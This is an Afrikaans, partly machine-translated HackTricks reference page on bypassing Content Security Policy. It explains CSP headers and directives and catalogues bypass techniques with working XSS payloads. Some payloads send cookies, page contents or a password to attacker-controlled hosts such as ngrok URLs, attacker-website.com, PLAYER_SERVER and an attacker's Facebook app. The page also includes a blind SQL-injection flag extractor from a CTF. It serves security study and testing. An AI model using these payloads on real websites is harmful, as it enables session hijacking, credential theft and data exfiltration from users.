Afrikaans - Ht
HackTricks TrainingTwitterLinkedinSponsor

Content Security Policy (CSP) Bypass

Ondersteun HackTricks

Sluit aan by HackenProof Discord bediener om met ervare hackers en bug bounty jagters te kommunikeer!

Hacking Inligting Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek

Regstydse Hack Nuus Bly op hoogte van die vinnige hacking wêreld deur regstydse nuus en insigte

Laaste Aankondigings Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

Wat is CSP

Inhoudsekuriteitsbeleid (CSP) word erken as 'n blaastegnologie, hoofsaaklik gemik op beskerming teen aanvalle soos cross-site scripting (XSS). Dit funksioneer deur paaie en bronne te definieer en te detailleer waaruit hulpbronne veilig deur die blaaiers gelaai kan word. Hierdie hulpbronne sluit 'n reeks elemente in soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid kan die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van stringkode deur funksies soos eval, setTimeout, of setInterval.

Implementering van CSP word uitgevoer deur antwoordkoppe of deur meta-elemente in die HTML-bladsy in te sluit. Na hierdie beleid, handhaaf blaaiers proaktief hierdie bepalings en blokkeer onmiddellik enige opgespoor oortredings.

  • Geïmplementeer via antwoordkop:

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

  • Geïmplementeer deur middel van 'n meta-tag:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

Headers

CSP kan afgedwing of gemonitor wees met behulp van hierdie koptekste:

  • Content-Security-Policy: Dwing die CSP af; die blaaiers blokkeer enige oortredings.

  • Content-Security-Policy-Report-Only: Gebruik vir monitering; rapporteer oortredings sonder om hulle te blokkeer. Ideaal vir toetsing in pre-produksie omgewings.

Defining Resources

CSP beperk die oorspronge vir die laai van beide aktiewe en passiewe inhoud, wat aspekte soos inline JavaScript-uitvoering en die gebruik van eval() beheer. 'n Voorbeeld beleid is:

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Directives

  • script-src: Laat spesifieke bronne vir JavaScript toe, insluitend URL's, inline skripte, en skripte wat deur gebeurtenis hanteerders of XSLT-stylesheets geaktiveer word.

  • default-src: Stel 'n standaard beleid in vir die verkryging van hulpbronne wanneer spesifieke verkrygingsdirektiewe afwesig is.

  • child-src: Spesifiseer toegelate bronne vir webwerkers en ingebedde raaminhoud.

  • connect-src: Beperk URL's wat gelaai kan word met behulp van interfaces soos fetch, WebSocket, XMLHttpRequest.

  • frame-src: Beperk URL's vir rame.

  • frame-ancestors: Spesifiseer watter bronne die huidige bladsy kan inkorporeer, van toepassing op elemente soos <frame>, <iframe>, <object>, <embed>, en <applet>.

  • img-src: Definieer toegelate bronne vir beelde.

  • font-src: Spesifiseer geldige bronne vir skrifte wat met @font-face gelaai word.

  • manifest-src: Definieer toegelate bronne van toepassingsmanifestlêers.

  • media-src: Definieer toegelate bronne vir die laai van media-objekte.

  • object-src: Definieer toegelate bronne vir <object>, <embed>, en <applet> elemente.

  • base-uri: Spesifiseer toegelate URL's vir laai met behulp van <base> elemente.

  • form-action: Lys geldige eindpunte vir vormindienings.

  • plugin-types: Beperk mime-tipes wat 'n bladsy mag aanroep.

  • upgrade-insecure-requests: Beveel aan dat blaaiers HTTP-URL's na HTTPS herskryf.

  • sandbox: Pas beperkings toe wat soortgelyk is aan die sandbox-attribuut van 'n <iframe>.

  • report-to: Spesifiseer 'n groep waaraan 'n verslag gestuur sal word indien die beleid oortree word.

  • worker-src: Spesifiseer geldige bronne vir Worker, SharedWorker, of ServiceWorker skripte.

  • prefetch-src: Spesifiseer geldige bronne vir hulpbronne wat verkry of vooraf verkry sal word.

  • navigate-to: Beperk die URL's waartoe 'n dokument op enige manier kan navigeer (a, vorm, window.location, window.open, ens.)

Sources

  • *: Laat alle URL's toe behalwe dié met data:, blob:, filesystem: skemas.

  • 'self': Laat laai vanaf dieselfde domein toe.

  • 'data': Laat hulpbronne toe om via die data-skema gelaai te word (bv. Base64-gecodeerde beelde).

  • 'none': Blokkeer laai vanaf enige bron.

  • 'unsafe-eval': Laat die gebruik van eval() en soortgelyke metodes toe, nie aanbeveel vir veiligheidsredes nie.

  • 'unsafe-hashes': Aktiveer spesifieke inline gebeurtenis hanteerders.

  • 'unsafe-inline': Laat die gebruik van inline hulpbronne soos inline <script> of <style> toe, nie aanbeveel vir veiligheidsredes nie.

  • 'nonce': 'n Witlys vir spesifieke inline skripte wat 'n kriptografiese nonce (nommer wat een keer gebruik word) gebruik.

  • As jy JS beperkte uitvoering het, is dit moontlik om 'n gebruikte nonce binne die bladsy te kry met doc.defaultView.top.document.querySelector("[nonce]") en dit dan te hergebruik om 'n kwaadwillige skrip te laai (as strict-dynamic gebruik word, kan enige toegelate bron nuwe bronne laai, so dit is nie nodig nie), soos in:

Laai skrip wat nonce hergebruik

  • 'sha256-<hash>': Witlys scripts met 'n spesifieke sha256-hash.

  • 'strict-dynamic': Laat die laai van scripts van enige bron toe as dit deur 'n nonce of hash gewitlys is.

  • 'host': Spesifiseer 'n spesifieke gasheer, soos example.com.

  • https:: Beperk URL's tot dié wat HTTPS gebruik.

  • blob:: Laat hulpbronne toe om van Blob-URL's gelaai te word (bv. Blob-URL's wat via JavaScript geskep is).

  • filesystem:: Laat hulpbronne toe om van die lêerstelsel gelaai te word.

  • 'report-sample': Sluit 'n monster van die oortredende kode in die oortredingsverslag in (nuttig vir foutopsporing).

  • 'strict-origin': Soortgelyk aan 'self' maar verseker dat die protokol-sekuriteitsvlak van die bronne ooreenstem met die dokument (slegs veilige oorspronge kan hulpbronne van veilige oorspronge laai).

  • 'strict-origin-when-cross-origin': Stuur volle URL's wanneer dieselfde oorsprong versoeke gemaak word, maar stuur slegs die oorsprong wanneer die versoek kruis-oorsprong is.

  • 'unsafe-allow-redirects': Laat hulpbronne toe om gelaai te word wat onmiddellik na 'n ander hulpbron sal herlei. Nie aanbeveel nie, aangesien dit sekuriteit verzwak.

Onveilige CSP-reëls

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Working payload: "/><script>alert(1);</script>

self + 'unsafe-inline' via Iframes

CSP bypass: self + 'unsafe-inline' with Iframes

'unsafe-eval'

Dit werk nie, vir meer inligting kyk hier.

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Werkslading:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

As jy op een of ander manier 'n toegelate JS-kode 'n nuwe script-tag in die DOM met jou JS-kode kan maak, omdat 'n toegelate script dit skep, sal die nuwe script-tag toegelaat word om uitgevoer te word.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Werkslading:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Gebrek aan object-src en default-src

Dit lyk asof dit nie meer werk nie

Content-Security-Policy: script-src 'self' ;

Werksame payloads:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Lêer Laai + 'self'

Content-Security-Policy: script-src 'self';  object-src 'none' ;

As jy 'n JS-lêer kan oplaai, kan jy hierdie CSP omseil:

Werkslading:

"/>'><script src="/uploads/picture.png.js"></script>

However, it's highly probable that the server is validating the uploaded file and will only allow you to upload determined type of files.

Moreover, even if you could upload a JS code inside a file using an extension accepted by the server (like: script.png) this won't be enough because some servers like apache server select MIME type of the file based on the extension and browsers like Chrome will reject to execute Javascript code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that Apache doesn't know the .wave extension, therefore it doesn't serve it with a MIME type like audio/*.

From here, if you find a XSS and a file upload, and you manage to find a misinterpreted extension, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot (some polyglot examples here).

Form-action

If not possible to inject JS, you could still try to exfiltrate for example credentials injecting a form action (and maybe expecting password managers to auto-fill passwords). You can find an example in this report. Also, notice that default-src does not cover form actions.

Third Party Endpoints + ('unsafe-eval')

Vir sommige van die volgende payload unsafe-eval is nie eens nodig nie.

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Laai 'n kwesbare weergawe van angular en voer arbitrêre JS uit:

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Payloads wat Angular gebruik + 'n biblioteek met funksies wat die window-objek teruggee (kyk na hierdie pos):

Die pos wys dat jy alle biblioteke van cdn.cloudflare.com (of enige ander toegelate JS-biblioteek repo) kan laai, alle bygevoegde funksies van elke biblioteek kan uitvoer, en watter funksies van watter biblioteke die window-objek teruggee kan nagaan.

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Angular XSS vanaf 'n klasnaam:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Misbruik van google recaptcha JS kode

Volgens hierdie CTF skrywe kan jy https://www.google.com/recaptcha/ binne 'n CSP misbruik om arbitrêre JS kode uit te voer en die CSP te omseil:

<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>

<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>

Meer payloads van hierdie skrywe:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>

Misbruik van www.google.com vir oop herleiding

Die volgende URL herlei na example.com (van hier):

https://www.google.com/amp/s/example.com/

Abuse van *.google.com/script.google.com

Dit is moontlik om Google Apps Script te misbruik om inligting te ontvang op 'n bladsy binne script.google.com. Soos dit in hierdie verslag gedoen word.

Derdeparty Eindpunte + JSONP

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Scenariod soos hierdie waar script-src op self en 'n spesifieke domein wat op die witlys is, gestel is, kan omseil word met JSONP. JSONP-eindpunte laat onveilige terugroepmetodes toe wat 'n aanvaller in staat stel om XSS uit te voer, werkende payload:

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee bevat gereed-om-te-gebruik JSONP eindpunte om CSP te omseil van verskillende webwerwe.

Die dieselfde kwesbaarheid sal voorkom as die vertroude eindpunt 'n Open Redirect bevat omdat as die aanvanklike eindpunt vertrou word, omleidings vertrou word.

Derdeparty Misbruik

Soos beskryf in die volgende pos, is daar baie derdeparty domeine, wat dalk êrens in die CSP toegelaat word, wat misbruik kan word om of data te ekfiltreer of JavaScript-kode uit te voer. Sommige van hierdie derdepartye is:

EntiteitToegelate DomeinVermoëns

Facebook

www.facebook.com, *.facebook.com

Ekfil

Hotjar

*.hotjar.com, ask.hotjar.io

Ekfil

Jsdelivr

*.jsdelivr.com, cdn.jsdelivr.net

Exec

Amazon CloudFront

*.cloudfront.net

Ekfil, Exec

Amazon AWS

*.amazonaws.com

Ekfil, Exec

Azure Websites

*.azurewebsites.net, *.azurestaticapps.net

Ekfil, Exec

Salesforce Heroku

*.herokuapp.com

Ekfil, Exec

Google Firebase

*.firebaseapp.com

Ekfil, Exec

As jy enige van die toegelate domeine in die CSP van jou teiken vind, is daar 'n kans dat jy die CSP mag kan omseil deur op die derdeparty diens te registreer en, of data na daardie diens te ekfiltreer of kode uit te voer.

Byvoorbeeld, as jy die volgende CSP vind:

Content-Security-Policy​: default-src 'self’ www.facebook.com;​

of

Content-Security-Policy​: connect-src www.facebook.com;​

U moet in staat wees om data te exfiltreer, soortgelyk aan hoe dit altyd gedoen is met Google Analytics/Google Tag Manager. In hierdie geval volg u hierdie algemene stappe:

  1. Skep 'n Facebook Developer-rekening hier.

  2. Skep 'n nuwe "Facebook Login" app en kies "Webwerf".

  3. Gaan na "Instellings -> Basies" en kry u "App ID"

  4. In die teikenwebwerf waarvan u data wil exfiltreer, kan u data exfiltreer deur die Facebook SDK gadget "fbq" direk te gebruik deur 'n "customEvent" en die datalaai.

  5. Gaan na u App "Event Manager" en kies die toepassing wat u geskep het (let op dat die gebeurtenisbestuurder in 'n URL soortgelyk aan hierdie een gevind kan word: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events

  6. Kies die oortjie "Toetsgebeurtenisse" om die gebeurtenisse te sien wat deur "u" webwerf gestuur word.

Dan, aan die kant van die slagoffer, voer u die volgende kode uit om die Facebook-opsporing pixel te initialiseer om na die aanvaller se Facebook ontwikkelaar rekening app-id te wys en 'n aangepaste gebeurtenis soos volg uit te reik:

fbq('init', '1279785999289471');​ // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{​
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
});

As vir die ander sewe derdeparty-domeine wat in die vorige tabel gespesifiseer is, is daar baie ander maniere waarop jy hulle kan misbruik. Verwys na die vorige blogpos vir addisionele verduidelikings oor ander derdeparty-misbruik.

Bypass via RPO (Relative Path Overwrite)

Benewens die bogenoemde herleiding om padbeperkings te omseil, is daar 'n ander tegniek genaamd Relative Path Overwrite (RPO) wat op sommige bedieners gebruik kan word.

Byvoorbeeld, as CSP die pad https://example.com/scripts/react/ toelaat, kan dit soos volg omgegaan word:

<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>

Die blaaiers sal uiteindelik https://example.com/scripts/angular/angular.js laai.

Dit werk omdat jy vir die blaaiers 'n lêer met die naam ..%2fangular%2fangular.js laai wat geleë is onder https://example.com/scripts/react/, wat voldoen aan CSP.

∑, hulle sal dit decodeer, wat effektief https://example.com/scripts/react/../angular/angular.js versoek, wat gelyk is aan https://example.com/scripts/angular/angular.js.

Deur hierdie inkonsekwentheid in URL-interpretasie tussen die blaaiers en die bediener te benut, kan die padreëls omseil word.

Die oplossing is om nie %2f as / aan die bedienerkant te behandel nie, wat 'n konsekwente interpretasie tussen die blaaiers en die bediener verseker om hierdie probleem te vermy.

Aanlyn Voorbeeld: https://jsbin.com/werevijewa/edit?html,output

Iframes JS uitvoering

Iframes in XSS, CSP and SOP

ontbrekende base-uri

As die base-uri riglyn ontbreek, kan jy dit misbruik om 'n dangling markup injection uit te voer.

Boonop, as die bladsy 'n skrif laai met 'n relatiewe pad (soos <script src="/js/app.js">) met 'n Nonce, kan jy die base tag misbruik om dit te laai vanaf jou eie bediener wat 'n XSS bereik. As die kwesbare bladsy met httpS gelaai word, gebruik 'n httpS-url in die basis.

<base href="https://www.attacker.com/">

AngularJS gebeurtenisse

'n Spesifieke beleid bekend as Content Security Policy (CSP) mag JavaScript gebeurtenisse beperk. Nietemin, AngularJS stel pasgemaakte gebeurtenisse as 'n alternatief bekend. Binne 'n gebeurtenis bied AngularJS 'n unieke objek $event, wat na die inheemse blaaiersgebeurtenis objek verwys. Hierdie $event objek kan benut word om die CSP te omseil. Opmerklik is dat die $event/event objek in Chrome 'n path attribuut het, wat 'n objekarray bevat wat betrokke is by die gebeurtenis se uitvoeringsketting, met die window objek altyd aan die einde. Hierdie struktuur is van kardinale belang vir sandbox ontsnappingstaktieke.

Deur hierdie array na die orderBy filter te rig, is dit moontlik om oor dit te itereren, en die terminale element (die window objek) te benut om 'n globale funksie soos alert() te aktiveer. Die gedemonstreerde kode-snippet hieronder verhelder hierdie proses:

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Hierdie snit beklemtoon die gebruik van die ng-focus rigting om die gebeurtenis te aktiveer, deur $event.path|orderBy te gebruik om die path array te manipuleer, en die window objek te benut om die alert() funksie uit te voer, wat document.cookie onthul.

Vind ander Angular omseilings in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS en gewhitelistde domein

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

'n CSP-beleid wat domeine vir skriplaai in 'n Angular JS-toepassing witlys, kan omseil word deur die aanroep van terugroepfunksies en sekere kwesbare klasse. Verdere inligting oor hierdie tegniek kan gevind word in 'n gedetailleerde gids beskikbaar op hierdie git repository.

Werkende payloads:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

Ander JSONP arbitrêre uitvoerings eindpunte kan gevind word in hier (sommige van hulle is verwyder of reggestel)

Bypass deur Hergidsering

Wat gebeur wanneer CSP server-kant hergidsering teëkom? As die hergidsering na 'n ander oorsprong lei wat nie toegelaat word nie, sal dit steeds misluk.

E however, volgens die beskrywing in CSP spesifikasie 4.2.2.3. Paaie en Hergidserings, as die hergidsering na 'n ander pad lei, kan dit die oorspronklike beperkings omseil.

Hier is 'n voorbeeld:

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>

If CSP is gestel na https://www.google.com/a/b/c/d, omdat die pad oorweeg word, sal beide /test en /a/test skripte deur CSP geblokkeer word.

Echter, die finale http://localhost:5555/301 sal op die bediener-kant herlei word na https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//. Aangesien dit 'n herleiding is, word die pad nie oorweeg nie, en die skrip kan gelaai word, wat die padbeperking omseil.

Met hierdie herleiding, selfs al is die pad heeltemal gespesifiseer, sal dit steeds omseil word.

Daarom is die beste oplossing om te verseker dat die webwerf geen oop herleiding kwesbaarhede het nie en dat daar geen domeine is wat in die CSP-reëls uitgebuit kan word nie.

Omseil CSP met hangende merkup

Lees hoe hier.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' beteken dat jy enige skrip binne die kode kan uitvoer (XSS kan kode uitvoer) en img-src * beteken dat jy enige beeld van enige bron op die webblad kan gebruik.

Jy kan hierdie CSP omseil deur die data via beelde te exfiltreer (in hierdie geval misbruik die XSS 'n CSRF waar 'n bladsy wat deur die bot toeganklik is 'n SQLi bevat, en die vlag via 'n beeld onttrek):

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

From: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Jy kan ook hierdie konfigurasie misbruik om javascript kode in 'n beeld in te laai. As die bladsy byvoorbeeld die laai van beelde van Twitter toelaat. Jy kan 'n spesiale beeld skep, dit na Twitter oplaai en die "unsafe-inline" misbruik om 'n JS kode (soos 'n gewone XSS) uit te voer wat die beeld sal laai, die JS daaruit sal onttrek en dit sal uitvoer: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Met Dienswerkers

Dienswerkers importScripts funksie is nie beperk deur CSP nie:

Abusing Service Workers

Beleid Inspuiting

Navorsing: https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

As 'n parameter wat deur jou gestuur word binne die verklaring van die beleid geplak word, kan jy die beleid op 'n manier verander wat dit onbruikbaar maak. Jy kan script 'unsafe-inline' met enige van hierdie omseilings toelaat:

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Omdat hierdie riglyn bestaande script-src riglyne sal oorskryf. Jy kan 'n voorbeeld hier vind: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

In Edge is dit baie eenvoudiger. As jy net hierdie in die CSP kan byvoeg: ;_ Edge sal die hele beleid verwerp. Voorbeeld: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Tydaanval

Let op die gebrek aan die riglyn 'unsafe-inline' Hierdie keer kan jy die slagoffer dwing om 'n bladsy in jou beheer te laai via XSS met 'n <iframe. Hierdie keer gaan jy die slagoffer laat toegang hê tot die bladsy waarvandaan jy inligting wil onttrek (CSRF). Jy kan nie die inhoud van die bladsy toegang nie, maar as jy op een of ander manier die tyd wat die bladsy nodig het om te laai kan beheer, kan jy die inligting wat jy nodig het onttrek.

Hierdie keer gaan 'n vlag onttrek word, wanneer 'n karakter korrek geraai word via SQLi neem die antwoord meer tyd weens die slaapfunksie. Dan sal jy in staat wees om die vlag te onttrek:

<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Via Bookmarklets

Hierdie aanval sou 'n bietjie sosiale ingenieurswese impliseer waar die aanvaller die gebruiker oortuig om 'n skakel oor die bladmerklet van die blaaier te sleep en te laat val. Hierdie bladmerklet sou kwaadwillige javascript kode bevat wat, wanneer gesleep en laat val of geklik, in die konteks van die huidige webvenster uitgevoer sou word, CSP omseil en toelaat om sensitiewe inligting soos koekies of tokens te steel.

Vir meer inligting kyk die oorspronklike verslag hier.

CSP omseiling deur CSP te beperk

In hierdie CTF-skrywe, word CSP omgegaan deur binne 'n toegelate iframe 'n meer beperkende CSP in te spuit wat die laai van 'n spesifieke JS-lêer verbied het wat, dan, via prototype besoedeling of dom klobbering toegelaat het om 'n ander skrip te misbruik om 'n arbitrêre skrip te laai.

Jy kan 'n CSP van 'n Iframe beperk met die csp attribuut:

<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

In hierdie CTF skrywe, was dit moontlik om via HTML inspuiting 'n CSP meer te beperk sodat 'n skrip wat CSTI voorkom, gedeaktiveer is en daarom het die kwesbaarheid uitvoerbaar geword. CSP kan meer beperkend gemaak word deur HTML meta-tags en inline skripte kan gedeaktiveer word deur die invoer wat hul nonce toelaat te verwyder en spesifieke inline skrip via sha in te skakel:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">

JS eksfiltrasie met Content-Security-Policy-Report-Only

As jy daarin slaag om die bediener te laat antwoordgee met die koptekst Content-Security-Policy-Report-Only met 'n waarde wat deur jou beheer word (miskien as gevolg van 'n CRLF), kan jy dit laat wys na jou bediener en as jy die JS-inhoud wat jy wil eksfiltreer met <script> omhul en omdat dit hoogs waarskynlik unsafe-inline nie toegelaat word deur die CSP nie, sal dit 'n CSP-fout veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal na die bediener gestuur word vanaf Content-Security-Policy-Report-Only.

Vir 'n voorbeeld kyk na hierdie CTF-skrywe.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Leaking Information with CSP and Iframe

  • 'n iframe word geskep wat na 'n URL wys (kom ons noem dit https://example.redirect.com) wat deur CSP toegelaat word.

  • Hierdie URL lei dan na 'n geheime URL (bv. https://usersecret.example2.com) wat nie toegelaat word deur CSP nie.

  • Deur na die securitypolicyviolation gebeurtenis te luister, kan 'n mens die blockedURI eienskap vang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein waarheen die aanvanklike URL gelei het, lek.

Dit is interessant om op te let dat blaaiers soos Chrome en Firefox verskillende gedrag het in die hantering van iframes met betrekking tot CSP, wat kan lei tot die moontlike lek van sensitiewe inligting as gevolg van onbepaalde gedrag.

'n Ander tegniek behels die benutting van die CSP self om die geheime subdomein af te lei. Hierdie metode maak staat op 'n binêre soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat doelbewus geblokkeer is. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP-riglyn aan te pas om hierdie subdomeine te blokkeer of toe te laat. Hier is 'n snit wat wys hoe die CSP opgestel kan word om hierdie metode te fasiliteer:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Deur te monitor watter versoeke geblokkeer of toegelaat word deur die CSP, kan 'n mens die moontlike karakters in die geheime subdomein beperk, uiteindelik die volle URL onthul.

Albei metodes benut die nuanses van CSP-implementering en gedrag in blaaiers, wat demonstreer hoe blykbaar veilige beleide onbedoeld sensitiewe inligting kan lek.

Trick from here.

Sluit aan by HackenProof Discord bediener om met ervare hackers en bug bounty jagters te kommunikeer!

Hacking Insights Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek

Real-Time Hack News Bly op hoogte van die vinnig bewegende hacking wêreld deur middel van real-time nuus en insigte

Latest Announcements Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings

Join us on Discord en begin vandag saamwerk met top hackers!

Onveilige Tegnologieë om CSP te omseil

PHP Foute wanneer te veel params

